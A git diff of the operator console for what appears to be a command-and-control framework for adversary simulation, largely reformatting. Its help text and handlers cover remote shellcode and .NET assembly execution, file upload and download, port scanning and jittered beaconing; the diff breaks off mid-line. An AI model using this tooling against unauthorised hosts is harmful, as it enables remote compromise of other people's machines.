diff --git a/client/agent-window.js b/client/agent-window.js index 79aeabe..1bf0db7 100644 --- a/client/agent-window.js +++ b/client/agent-window.js @@ -5,26 +5,21 @@ const crypto = require('crypto'); const az = require('./azure'); const { log } = require('console'); global.historyload = false; -global.inputload = false; +global.inputload = false; const { getAppDataDir } = require('./common'); -const directories = getAppDataDir(); +const directories = getAppDataDir(); - -function logToFile(logFile,message) { - try{ - //const timestamp = new Date().toISOString(); - //fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`); - fs.appendFileSync(logFile, `${message}\n`); - }catch(error) - { - log(error); - } +function logToFile(logFile, message) { + try { + fs.appendFileSync(logFile, `${message}\n`); + } catch (error) { + log(error); + } } let agentid_log = ''; let user_log = ''; let pid_log = ''; - let currentSuggestionIndex = -1; let suggestions = []; let containerName = ''; @@ -35,50 +30,43 @@ let agent; let window_agentid = ""; const commands = [ - 'pwd', 'ls', 'cat', 'env', 'help', - 'spawn', 'drives', 'cat', - 'mv', 'sleep', 'cp', 'load', - 'upload', 'download','scexec','scan' - ,'exit-all','assembly','help','dns' -]; + 'pwd', 'ls', 'cat', 'env', 'help', + 'spawn', 'drives', 'cat', + 'mv', 'sleep', 'cp', 'load', + 'upload', 'download', 'scexec', 'scan', + 'exit-all', 'assembly', 'help', 'dns' +]; const commandHistory = []; let currentCommandIndex = -1; function generateUUID(len) { - // Generate a random UUID - if (len > 20){len = 20}; + if (len > 20) { len = 20 }; const uuid = crypto.randomUUID(); - // Remove hyphens and take the first 10 characters const shortUUID = uuid.replace(/-/g, '').substring(0, len); return shortUUID; } function timeDifference(oldTimestamp) { - const now = Date.now(); - let diff = now - oldTimestamp; - - // Calculate the differences in various units - const msInSecond = 1000; - const msInMinute = msInSecond * 60; - const msInHour = msInMinute * 60; - const msInDay = msInHour * 24; - - const days = Math.floor(diff / msInDay); - diff %= msInDay; - const hours = Math.floor(diff / msInHour); - diff %= msInHour; - const minutes = Math.floor(diff / msInMinute); - diff %= msInMinute; - const seconds = Math.floor(diff / msInSecond); - - // Build the result string - let result = ''; - if (days > 0) result += `${days}d, `; - if (hours > 0) result += `${hours}h, `; - if (minutes > 0) result += `${minutes}m, `; - if (seconds > 0 || result === '') result += `${seconds}s`; - return result.trim().replace(/,\s*$/, ''); // Remove trailing comma and space + const now = Date.now(); + let diff = now - oldTimestamp; + const msInSecond = 1000; + const msInMinute = msInSecond * 60; + const msInHour = msInMinute * 60; + const msInDay = msInHour * 24; + const days = Math.floor(diff / msInDay); + diff %= msInDay; + const hours = Math.floor(diff / msInHour); + diff %= msInHour; + const minutes = Math.floor(diff / msInMinute); + diff %= msInMinute; + const seconds = Math.floor(diff / msInSecond); + let result = ''; + if (days > 0) result += `${days}d, `; + if (hours > 0) result += `${hours}h, `; + if (minutes > 0) result += `${minutes}m, `; + if (seconds > 0 || result === '') result += `${seconds}s`; + return result.trim().replace(/,\s*$/, ''); } const commandDetails = [ @@ -92,50 +80,44 @@ const commandDetails = [ { name: "mv", help: "Move a file to a new destination\r\n\tmv [remote_src] [remote_dst]\r\n\t" }, { name: "sleep", help: "Sleep for seconds with jitter\r\n\sleep [s] [jitter%]\r\n\tsleep 20 15\r\n\t" }, { name: "cp", help: "Copy a file\r\n\tcp [remote_src] [remote_dst]\r\n\t" }, - //{ name: "ps", help: "Process list.\r\n\tps\r\n\t" }, - //{ name: "exit-window", help: "Exit the current window running the HTTPS comms for the implant. A new window will exec.\r\n\t" }, { name: "exit-all", help: "Exits the agent. The agent won't callback anymore\r\n\t" }, { name: "load", help: "Load a node PE file from disk into the process\r\n\tload [remote_path]\r\n\tload ./git.node\r\n\t- Needs the ./ in front\r\n" }, { name: "scexec", help: "Execute shellcode\r\n\tscexec [local_path]\r\n\tscexec /operator/src/shellcode/bin\r\n" }, - { name: "assembly", help: "Execute a .NET assembly and get command output\r\n\ttassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" }, + { name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" }, { name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" }, { name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" }, { name: "scan", help: "scan [-p] \r\n" + - " - The target host or CIDR range to scan.\r\n" + - " - Options:\r\n" + - " -p Comma-separated list of ports to scan (default: 80, 443).\r\n" + - " Examples:\r\n" + - " scan 192.168.1.1 -p80,443\r\n" + - " scan 192.168.1.0/24 -p22,80,443\r\n" }, + " - The target host or CIDR range to scan.\r\n" + + " - Options:\r\n" + + " -p Comma-separated list of ports to scan (default: 80, 443).\r\n" + + " Examples:\r\n" + + " scan 192.168.1.1 -p80,443\r\n" + + " scan 192.168.1.0/24 -p22,80,443\r\n" }, { name: "dns", help: "dns lookup [-all | -mx | -txt | -cname]\r\n" + - " - Perform a DNS lookup on the given hostname.\r\n" + - " - Options:\r\n" + - " -all Get all IP addresses\r\n" + - " -mx Get mail exchange (MX) records\r\n" + - " -txt Get TXT records\r\n" + - " -cname Get CNAME records\r\n" + - " dns resolve \r\n" + - " - Resolve the hostname to an IP address\r\n" + - " dns reverse \r\n" + - " - Perform a reverse lookup on an IP address\r\n" + - " dns config\r\n" + - " - Show the current system DNS servers\r\n" + - " dns @\r\n" + - " - Use a custom DNS server\r\n" + - " dns @default\r\n" + - " - Reset the DNS server config\r\n" }, + " - Perform a DNS lookup on the given hostname.\r\n" + + " - Options:\r\n" + + " -all Get all IP addresses\r\n" + + " -mx Get mail exchange (MX) records\r\n" + + " -txt Get TXT records\r\n" + + " -cname Get CNAME records\r\n" + + " dns resolve \r\n" + + " - Resolve the hostname to an IP address\r\n" + + " dns reverse \r\n" + + " - Perform a reverse lookup on an IP address\r\n" + + " dns config\r\n" + + " - Show the current system DNS servers\r\n" + + " dns @\r\n" + + " - Use a custom DNS server\r\n" + + " dns @default\r\n" + + " - Reset the DNS server config\r\n" }, { name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" } ]; function getHelpInfo(command) { - // Split the command string by spaces and filter out any empty strings const parts = command.split(' ').filter(part => part !== ''); - // Check if the second part exists (the actual command name) if (parts.length > 1) { const cmdName = parts[1]; - // Find the command in the commands array const cmd = commandDetails.find(c => c.name === cmdName); - // If command is found, return its help info, otherwise return not found message return cmd ? cmd.help : `No help available for command: ${cmdName}`; } else { return "Command name missing. Use 'help '."; @@ -143,630 +125,541 @@ function getHelpInfo(command) { } function splitStringWithQuotes(str) { - const result = []; - let current = ''; - let insideQuotes = false; - let quoteChar = ''; - for (let i = 0; i < str.length; i++) { - const char = str[i]; - if (insideQuotes) { - if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) { - // Handle escaped quote or backslash - current += str[i + 1]; - i++; // Skip the next character - } else if (char === quoteChar) { - // End of quoted string - insideQuotes = false; - result.push(current); - current = ''; - } else { - // Inside quoted string - current += char; - } - } else { - if (char === '"' || char === "'") { - // Start of quoted string - insideQuotes = true; - quoteChar = char; - } else if (char === '\\' && str[i + 1] === ' ') { - // Handle escaped space - current += ' '; - i++; // Skip the next character - } else if (char === ' ') { - // Space outside of quotes - if (current.length > 0) { - result.push(current); - current = ''; + const result = []; + let current = ''; + let insideQuotes = false; + let quoteChar = ''; + for (let i = 0; i < str.length; i++) { + const char = str[i]; + if (insideQuotes) { + if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) { + current += str[i + 1]; + i++; + } else if (char === quoteChar) { + insideQuotes = false; + result.push(current); + current = ''; + } else { + current += char; + } + } else { + if (char === '"' || char === "'") { + insideQuotes = true; + quoteChar = char; + } else if (char === '\\' && str[i + 1] === ' ') { + current += ' '; + i++; + } else if (char === ' ') { + if (current.length > 0) { + result.push(current); + current = ''; + } + } else { + current += char; + } } - } else { - // Unquoted string - current += char; - } } - } - // Add the last argument if there's any - if (current.length > 0) { - result.push(current); - } - return result; + if (current.length > 0) { + result.push(current); + } + return result; } -function doDownloadFile(argv) -{ - const downloadFile = argv[1]; - const downloadBlob = generateUUID(10); - const download = { - 'file':downloadFile, - 'blob':downloadBlob - } - return download; +function doDownloadFile(argv) { + const downloadFile = argv[1]; + const downloadBlob = generateUUID(10); + const download = { + 'file': downloadFile, + 'blob': downloadBlob + } + return download; } function getFormattedTimestamp() { - const now = new Date(); - const month = String(now.getMonth() + 1).padStart(2, '0'); // Months are 0-based - const day = String(now.getDate()).padStart(2, '0'); - const year = now.getFullYear(); - let hours = now.getHours(); - const minutes = String(now.getMinutes()).padStart(2, '0'); - const ampm = hours >= 12 ? 'PM' : 'AM'; - hours = hours % 12; - hours = hours ? hours : 12; // The hour '0' should be '12' - const timezoneInitials = now.toLocaleTimeString('en-us', { timeZoneName: 'short' }).split(' ')[2]; - const formattedTimestamp = `${month}-${day}-${year} ${hours}:${minutes}${ampm} ${timezoneInitials}`; - return formattedTimestamp; + const now = new Date(); + const month = String(now.getMonth() + 1).padStart(2, '0'); + const day = String(now.getDate()).padStart(2, '0'); + const year = now.getFullYear(); + let hours = now.getHours(); + const minutes = String(now.getMinutes()).padStart(2, '0'); + const ampm = hours >= 12 ? 'PM' : 'AM'; + hours = hours % 12; + hours = hours ? hours : 12; + const timezoneInitials = now.toLocaleTimeString('en-us', { timeZoneName: 'short' }).split(' ')[2]; + const formattedTimestamp = `${month}-${day}-${year} ${hours}:${minutes}${ampm} ${timezoneInitials}`; + return formattedTimestamp; } function sendCommand() { - try - { - if (global.inputload === false) - { - return; - } - const input = document.getElementById('consoleInput'); - let command = input.value.trim(); - command = command.trim(); - // Add the command to the history - commandHistory.push(command); - let argv = splitStringWithQuotes(command); - // Keep only the last 100 commands - if (commandHistory.length > 1000) { - commandHistory.shift(); - } - currentCommandIndex = commandHistory.length; - let PSString; - if (agentObj) - { - PSString = `[${getFormattedTimestamp()}] advsim` - - } - // Check if the first word matches any command name - let UnknownCommand = true; - commandDetails.forEach(thiscmd => { - if(argv[0] === thiscmd.name) { UnknownCommand = false; } - }); - if (UnknownCommand) { - printToConsole(`Unknown command: ${command}`); - input.value = ''; - closeDropdown(); - return; - } - if (command.startsWith("help")) - { - let platformElement = document.querySelector("#agentTable > tbody > tr > td:nth-child(8)"); - let platform; - - if (platformElement) { - platform = platformElement.textContent.trim(); // Get text and remove extra spaces - } - if (platform) - { - if (platform == "macOS" || platform == "Platform" || platform == "Linux") - { - // Commands to remove - const removeCommands = ["scexec", "assembly"]; - - // Iterate in reverse order to avoid index shifting issues when using splice() - for (let i = commandDetails.length - 1; i >= 0; i--) { - if (removeCommands.includes(commandDetails[i].name)) { - commandDetails.splice(i, 1); // Remove in place - } - } + try { + if (global.inputload === false) { + return; } - } - - if (argv.length > 1) { - let commandHelp = getHelpInfo(command); - printToConsole(`${PSString}$ ${command}`); - printToConsole(commandHelp); - input.value = ''; - closeDropdown(); - return; - }else{ - // Find the maximum length of the command names - const maxLength = commandDetails.reduce((max, cmd) => { - return cmd.name.length > max ? cmd.name.length : max; - }, 0); - + const input = document.getElementById('consoleInput'); + let command = input.value.trim(); + command = command.trim(); + commandHistory.push(command); + let argv = splitStringWithQuotes(command); + if (commandHistory.length > 1000) { + commandHistory.shift(); + } + currentCommandIndex = commandHistory.length; + let PSString; + if (agentObj) { + PSString = `[${getFormattedTimestamp()}] advsim` + } + let UnknownCommand = true; commandDetails.forEach(thiscmd => { - const paddedName = thiscmd.name.padEnd(maxLength, ' '); - let cmdhelp = thiscmd.help.split('\r\n'); - cmdhelp = cmdhelp[0]; - printToConsole(`${paddedName} : ${cmdhelp}`); + if (argv[0] === thiscmd.name) { UnknownCommand = false; } }); + if (UnknownCommand) { + printToConsole(`Unknown command: ${command}`); + input.value = ''; + closeDropdown(); + return; + } + if (command.startsWith("help")) { + let platformElement = document.querySelector("#agentTable > tbody > tr > td:nth-child(8)"); + let platform; + if (platformElement) { + platform = platformElement.textContent.trim(); + } + if (platform) { + if (platform == "macOS" || platform == "Platform" || platform == "Linux") { + const removeCommands = ["scexec", "assembly"]; + for (let i = commandDetails.length - 1; i >= 0; i--) { + if (removeCommands.includes(commandDetails[i].name)) { + commandDetails.splice(i, 1); + } + } + } + } + if (argv.length > 1) { + let commandHelp = getHelpInfo(command); + printToConsole(`${PSString}$ ${command}`); + printToConsole(commandHelp); + input.value = ''; + closeDropdown(); + return; + } else { + const maxLength = commandDetails.reduce((max, cmd) => { + return cmd.name.length > max ? cmd.name.length : max; + }, 0); + commandDetails.forEach(thiscmd => { + const paddedName = thiscmd.name.padEnd(maxLength, ' '); + let cmdhelp = thiscmd.help.split('\r\n'); + cmdhelp = cmdhelp[0]; + printToConsole(`${paddedName} : ${cmdhelp}`); + }); + input.value = ''; + closeDropdown(); + return; + } + } + let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`); + containerCmd.key = JSON.parse(containerKey); + containerCmd.name = containerName; + containerCmd.cmd = command; + let download; + let upload = false; + let scexec_upload = false; + let assembly_upload = false; + let uploadblob = ""; + let uploadfile = ""; + let argsAmountError = false; + + if (argv[0] === "sleep") { + if (argv[1] === "0") { + argv[1] = "1"; + } + } + + if (argv[0] == "download") { + if (argv.length == 2) { + download = doDownloadFile(argv); + command = `download ${download['file']} ${download['blob']}`; + containerCmd.cmd = command; + log(`agent-window.js : IPC : pull-download-file`); + ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd), download['file'], download['blob']); + } else { + argsAmountError = true; + } + } + if (argv[0] == "upload") { + if (argv.length == 3) { + uploadfile = argv[1]; + const destFilePath = argv[2]; + uploadblob = 'u' + generateUUID(10); + command = `upload ${uploadblob} ${destFilePath}`; + containerCmd.cmd = command; + upload = true; + } else { + argsAmountError = true; + } + } + if (argv[0] == "scexec") { + if (argv.length == 2) { + scfile = argv[1]; + scblob = 'sc' + generateUUID(10); + command = `scexec ${scblob}`; + containerCmd.cmd = command; + scexec_upload = true; + } else { + argsAmountError = true; + } + } + if (argv[0] == "assembly") { + if (argv.length > 1) { + scfile = argv[1]; + let args = argv.slice(2).join(' '); + log(`args string : ${args}`); + scblob = 'sc' + generateUUID(10); + command = `assembly ${scblob} ${args}`; + containerCmd.cmd = command; + assembly_upload = true; + } else { + argsAmountError = true; + } + } + + if (argsAmountError == true) { + let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`; + let commandHelp = getHelpInfo(argv[0]); + printToConsole(ArgsError); + printToConsole(commandHelp); + input.value = ''; + closeDropdown(); + return; + } + + log(`Sending command ${command}`); + printToConsole(`${PSString}$ ${command}`); input.value = ''; - closeDropdown(); - return; - } - } - let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`); - containerCmd.key = JSON.parse(containerKey); - containerCmd.name = containerName; - containerCmd.cmd = command; - let download; - let upload = false; - let scexec_upload = false; - let assembly_upload = false; - let uploadblob = ""; - let uploadfile = ""; - let argsAmountError = false; - - if (argv[0] === "sleep") { - if (argv[1] === "0") { - argv[1] = "1"; - } + if (upload) { + printToConsole(`Uploading operator ${uploadfile} file to blob ${uploadblob}`); + ipcRenderer.send('upload-file-to-blob', JSON.stringify(containerCmd), uploadfile, uploadblob); + } else if (assembly_upload) { + printToConsole(`Uploading operator ${scfile} assembly file to blob ${scblob}`); + ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob); + } else if (scexec_upload) { + printToConsole(`Uploading operator ${scfile} shellcode file to blob ${scblob}`); + ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob); + } else { + log(`agent-window.js : IPC : upload-client-command-to-input-channel`); + log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`); + ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); + closeDropdown(); + } + } catch (error) { + log(`[!] Error in sendCommand from agent window ${error} ${error.stack}`); } - - if (argv[0] == "download") - { - if (argv.length == 2) { - download = doDownloadFile(argv); - command = `download ${download['file']} ${download['blob']}`; - containerCmd.cmd = command; - log(`agent-window.js : IPC : pull-download-file`); - ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name - }else{ - argsAmountError = true; - } - } - if (argv[0] == "upload") - { - if (argv.length == 3) { - uploadfile = argv[1]; - const destFilePath = argv[2]; - uploadblob = 'u'+generateUUID(10); - command = `upload ${uploadblob} ${destFilePath}`; - containerCmd.cmd = command; - upload = true; - }else{ - argsAmountError = true; - } - } - if (argv[0] == "scexec") - { - if (argv.length == 2) { - scfile = argv[1]; - scblob = 'sc'+generateUUID(10); - command = `scexec ${scblob}`; - containerCmd.cmd = command; - scexec_upload = true; - }else{ - argsAmountError = true; - } - } - if (argv[0] == "assembly") - { - if (argv.length > 1) { - scfile = argv[1]; - let args = argv.slice(2).join(' ');; - log(`args string : ${args}`); - scblob = 'sc'+generateUUID(10); - command = `assembly ${scblob} ${args}`; - containerCmd.cmd = command; - assembly_upload = true; - }else{ - argsAmountError = true; - } - } - - if (argsAmountError == true) - { - let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`; - let commandHelp = getHelpInfo(argv[0]); - printToConsole(ArgsError); - printToConsole(commandHelp); - input.value = ''; - closeDropdown(); - return; - } - - log(`Sending command ${command}`); - printToConsole(`${PSString}$ ${command}`); - input.value = ''; - - if(upload) - { - printToConsole(`Uploading operator ${uploadfile} file to blob ${uploadblob}`); - ipcRenderer.send('upload-file-to-blob', JSON.stringify(containerCmd),uploadfile,uploadblob); // Send command and container name - }else if ( assembly_upload) - { - printToConsole(`Uploading operator ${scfile} assembly file to blob ${scblob}`); - ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd),scfile,scblob); // Send command and container name - }else if ( scexec_upload) - { - printToConsole(`Uploading operator ${scfile} shellcode file to blob ${scblob}`); - ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd),scfile,scblob); // Send command and container name - }else - { - //ipcRenderer.send('execute-command', { command, containerName }); // Send IPC message to kernel.js for all commands - log(`agent-window.js : IPC : upload-client-command-to-input-channel`); - log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`); - ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name - closeDropdown(); - } - }catch(error) - { - log(`[!] Error in sendCommand from agent window ${error} ${error.stack}`); - } } -ipcRenderer.on('send-upload-command', (event, containerCmd) => -{ - try - { - printToConsole(`[+] Completed uploading operator file to blob`); - ipcRenderer.send('upload-client-command-to-input-channel', containerCmd); - }catch(error) - { - log(error); - } +ipcRenderer.on('send-upload-command', (event, containerCmd) => { + try { + printToConsole(`[+] Completed uploading operator file to blob`); + ipcRenderer.send('upload-client-command-to-input-channel', containerCmd); + } catch (error) { + log(error); + } }); async function printToConsole(message, logToFileFlag = true) { - try { - const consoleOutput = document.getElementById('consoleOutput'); - const newLine = document.createElement('div'); - newLine.innerHTML = message; // Use innerHTML to handle colored text - consoleOutput.appendChild(newLine); - consoleOutput.scrollTop = consoleOutput.scrollHeight; - - // Construct log file path - let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`; - const logFile = path.join(directories.logDir, agent_log_name); - - // Only log to file if flag is true - if (logToFileFlag) { - logToFile(logFile, `${message}\r\n`); - } - } catch (error) { - console.error(`Error in printToConsole: ${error.message}\n${error.stack}`); - } + try { + const consoleOutput = document.getElementById('consoleOutput'); + const newLine = document.createElement('div'); + newLine.innerHTML = message; + consoleOutput.appendChild(newLine); + consoleOutput.scrollTop = consoleOutput.scrollHeight; + let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`; + const logFile = path.join(directories.logDir, agent_log_name); + if (logToFileFlag) { + logToFile(logFile, `${message}\r\n`); + } + } catch (error) { + console.error(`Error in printToConsole: ${error.message}\n${error.stack}`); + } } function loadPreviousLogs() { - try { - let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`; - const logFile = path.join(directories.logDir, agent_log_name); - log(`logfile : ${logFile}`); + try { + let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`; + const logFile = path.join(directories.logDir, agent_log_name); + log(`logfile : ${logFile}`); - if (fs.existsSync(logFile)) { - log(`Loading previous logs from ${logFile}`); - - // Read log file contents - const logs = fs.readFileSync(logFile, 'utf8'); - - // Process each line - logs.split('\n').forEach(line => { - let cleanedLine = line.replace(/^\[.*?\]\s*\[.*?\]\s*/, '').trim(); - - // Only print non-empty lines - if (cleanedLine) { - printToConsole(cleanedLine, false); // Prevent re-logging - } - }); - } else { - log(`No existing log file found for ${logFile}`); - } - } catch (error) { - log(`Error loading previous logs: ${error.message}\n${error.stack}`); - } + if (fs.existsSync(logFile)) { + log(`Loading previous logs from ${logFile}`); + const logs = fs.readFileSync(logFile, 'utf8'); + logs.split('\n').forEach(line => { + let cleanedLine = line.replace(/^\[.*?\]\s*\[.*?\]\s*/, '').trim(); + if (cleanedLine) { + printToConsole(cleanedLine, false); + } + }); + } else { + log(`No existing log file found for ${logFile}`); + } + } catch (error) { + log(`Error loading previous logs: ${error.message}\n${error.stack}`); + } } function clearConsole() { - const consoleOutput = document.getElementById('consoleOutput'); - consoleOutput.innerHTML = ''; + const consoleOutput = document.getElementById('consoleOutput'); + consoleOutput.innerHTML = ''; } function showDropdown() { - const inputLine = document.querySelector('.input-line'); - const dropdown = document.getElementById('commandDropdown'); - dropdown.innerHTML = ''; - // Find the maximum width of suggestions - const maxWidth = Math.max(...suggestions.map(s => s.length)) * 8; // approx. 8px per character - suggestions.forEach((suggestion, index) => { - const item = document.createElement('div'); - item.textContent = suggestion; - item.style.padding = '5px'; - if (index === currentSuggestionIndex) { - item.style.backgroundColor = '#555'; - item.style.color = '#00ff00'; - } - item.addEventListener('click', () => { - const input = document.getElementById('consoleInput'); - input.value = suggestion; - input.focus(); - closeDropdown(); + const inputLine = document.querySelector('.input-line'); + const dropdown = document.getElementById('commandDropdown'); + dropdown.innerHTML = ''; + const maxWidth = Math.max(...suggestions.map(s => s.length)) * 8; + suggestions.forEach((suggestion, index) => { + const item = document.createElement('div'); + item.textContent = suggestion; + item.style.padding = '5px'; + if (index === currentSuggestionIndex) { + item.style.backgroundColor = '#555'; + item.style.color = '#00ff00'; + } + item.addEventListener('click', () => { + const input = document.getElementById('consoleInput'); + input.value = suggestion; + input.focus(); + closeDropdown(); + }); + dropdown.appendChild(item); }); - dropdown.appendChild(item); - }); - dropdown.style.display = suggestions.length ? 'block' : 'none'; - const rect = inputLine.getBoundingClientRect(); - dropdown.style.top = `${rect.bottom}px`; - dropdown.style.left = `${rect.left}px`; - dropdown.style.width = `${maxWidth + 20}px`; // Add some padding to the width - dropdown.style.whiteSpace = 'nowrap'; // Ensure text does not wrap - if (rect.bottom + dropdown.offsetHeight > window.innerHeight) { - dropdown.style.top = `${rect.top - dropdown.offsetHeight}px`; - } + dropdown.style.display = suggestions.length ? 'block' : 'none'; + const rect = inputLine.getBoundingClientRect(); + dropdown.style.top = `${rect.bottom}px`; + dropdown.style.left = `${rect.left}px`; + dropdown.style.width = `${maxWidth + 20}px`; + dropdown.style.whiteSpace = 'nowrap'; + if (rect.bottom + dropdown.offsetHeight > window.innerHeight) { + dropdown.style.top = `${rect.top - dropdown.offsetHeight}px`; + } } function closeDropdown() { - const dropdown = document.getElementById('commandDropdown'); - dropdown.innerHTML = ''; - dropdown.style.display = 'none'; - currentSuggestionIndex = -1; + const dropdown = document.getElementById('commandDropdown'); + dropdown.innerHTML = ''; + dropdown.style.display = 'none'; + currentSuggestionIndex = -1; } function handleInput(event) { - const input = event.target.value; - if (input) { - suggestions = commands.filter(command => command.startsWith(input)); - currentSuggestionIndex = -1; - showDropdown(); - } else { - suggestions = commands; - showDropdown(); - } + const input = event.target.value; + if (input) { + suggestions = commands.filter(command => command.startsWith(input)); + currentSuggestionIndex = -1; + showDropdown(); + } else { + suggestions = commands; + showDropdown(); + } } function handleTabCompletion(event) { - event.preventDefault(); - if (suggestions.length > 0) { - currentSuggestionIndex = (currentSuggestionIndex + 1) % suggestions.length; - showDropdown(); - const input = document.getElementById('consoleInput'); - input.value = suggestions[currentSuggestionIndex]; - } + event.preventDefault(); + if (suggestions.length > 0) { + currentSuggestionIndex = (currentSuggestionIndex + 1) % suggestions.length; + showDropdown(); + const input = document.getElementById('consoleInput'); + input.value = suggestions[currentSuggestionIndex]; + } } -window.addEventListener('DOMContentLoaded', async () => -{ - ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) => - { - try{ - containerName = name; - containerKey = JSON.stringify(aes); - containerBlob = JSON.stringify(blobs); - agent = JSON.parse(agentJson); - agentObj = agent; - - document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`; +window.addEventListener('DOMContentLoaded', async () => { + ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) => { + try { + containerName = name; + containerKey = JSON.stringify(aes); + containerBlob = JSON.stringify(blobs); + agent = JSON.parse(agentJson); + agentObj = agent; - const input = document.getElementById('consoleInput'); - input.focus(); - input.selectionStart = input.selectionEnd = input.value.length; // Ensure cursor is at the end of input - }catch(error) - { - log(error); - } - }); - ipcRenderer.on('agent-checkin', (event, checkin_data) => - { - try - { - printToConsole(`Checkin Data : ${checkin_data}`); - }catch(error) - { - log(error); - } - }); + document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`; - ipcRenderer.on('command-result', (event, result) => { - printToConsole(result); - }); + const input = document.getElementById('consoleInput'); + input.focus(); + input.selectionStart = input.selectionEnd = input.value.length; + } catch (error) { + log(error); + } + }); + ipcRenderer.on('agent-checkin', (event, checkin_data) => { + try { + printToConsole(`Checkin Data : ${checkin_data}`); + } catch (error) { + log(error); + } + }); - const input = document.getElementById('consoleInput'); - input.addEventListener('keydown', (event) => { - if (event.key === 'Enter') { - log(`Sending Enter key press event`); - sendCommand(); - } else if (event.key === 'Tab') { - handleTabCompletion(event); - } else if (event.ctrlKey && event.key === 'l') { - event.preventDefault(); - clearConsole(); - } else if (event.key === 'ArrowUp') { - if (currentCommandIndex > 0) { - currentCommandIndex--; - input.value = commandHistory[currentCommandIndex]; - } else if (currentCommandIndex === 0) { - input.value = commandHistory[currentCommandIndex]; - } - event.preventDefault(); - } else if (event.key === 'ArrowDown') { - if (currentCommandIndex < commandHistory.length - 1) { - currentCommandIndex++; - input.value = commandHistory[currentCommandIndex]; - } else if (currentCommandIndex === commandHistory.length - 1) { - currentCommandIndex++; - input.value = ''; - } - event.preventDefault(); - } - }); - input.addEventListener('input', handleInput); - input.focus(); - input.selectionStart = input.selectionEnd = input.value.length; // Ensure cursor is at the end of input + ipcRenderer.on('command-result', (event, result) => { + printToConsole(result); + }); - // Enable macOS shortcuts (`Cmd+C`, `Cmd+V`) and Windows/Linux (`Ctrl+C`, `Ctrl+V`) - document.addEventListener('keydown', function (event) { - if ((event.ctrlKey || event.metaKey) && event.key === 'c') { - ipcRenderer.send('copy'); - event.preventDefault(); - } - if ((event.ctrlKey || event.metaKey) && event.key === 'v') { - ipcRenderer.send('paste'); - event.preventDefault(); - } - if ((event.ctrlKey || event.metaKey) && event.key === 'x') { - ipcRenderer.send('cut'); - event.preventDefault(); - } - }); + const input = document.getElementById('consoleInput'); + input.addEventListener('keydown', (event) => { + if (event.key === 'Enter') { + log(`Sending Enter key press event`); + sendCommand(); + } else if (event.key === 'Tab') { + handleTabCompletion(event); + } else if (event.ctrlKey && event.key === 'l') { + event.preventDefault(); + clearConsole(); + } else if (event.key === 'ArrowUp') { + if (currentCommandIndex > 0) { + currentCommandIndex--; + input.value = commandHistory[currentCommandIndex]; + } else if (currentCommandIndex === 0) { + input.value = commandHistory[currentCommandIndex]; + } + event.preventDefault(); + } else if (event.key === 'ArrowDown') { + if (currentCommandIndex < commandHistory.length - 1) { + currentCommandIndex++; + input.value = commandHistory[currentCommandIndex]; + } else if (currentCommandIndex === commandHistory.length - 1) { + currentCommandIndex++; + input.value = ''; + } + event.preventDefault(); + } + }); + input.addEventListener('input', handleInput); + input.focus(); + input.selectionStart = input.selectionEnd = input.value.length; + + document.addEventListener('keydown', function (event) { + if ((event.ctrlKey || event.metaKey) && event.key === 'c') { + ipcRenderer.send('copy'); + event.preventDefault(); + } + if ((event.ctrlKey || event.metaKey) && event.key === 'v') { + ipcRenderer.send('paste'); + event.preventDefault(); + } + if ((event.ctrlKey || event.metaKey) && event.key === 'x') { + ipcRenderer.send('cut'); + event.preventDefault(); + } + }); }); async function updateTable() { - try { - //logToFile("sent IPC for get-containers"); - const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0]; - //log(`updateTable in agent window, agentid : ${agent.agentid}`); - let agentid = agent.agentid; - window_agentid = agentid; - let agentcheckin = await ipcRenderer.invoke('get-agent-checkin',agentid); + try { + const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0]; + let agentid = agent.agentid; + window_agentid = agentid; + let agentcheckin = await ipcRenderer.invoke('get-agent-checkin', agentid); - //log(agentcheckin); - //log(`agentcheckin : ${agentcheckin}`); - if(agentcheckin) - { - agentcheckin = JSON.parse(agentcheckin); + if (agentcheckin) { + log(`agentcheckin : ${agentcheckin}`); + agentcheckin = JSON.parse(agentcheckin); - const filePath = agentcheckin.Process.trim(); // Ensure the string is clean - //logMain(`Original Path: ${filePath}`); - let fileName; - // Detect which type of path is present and use the appropriate method - if 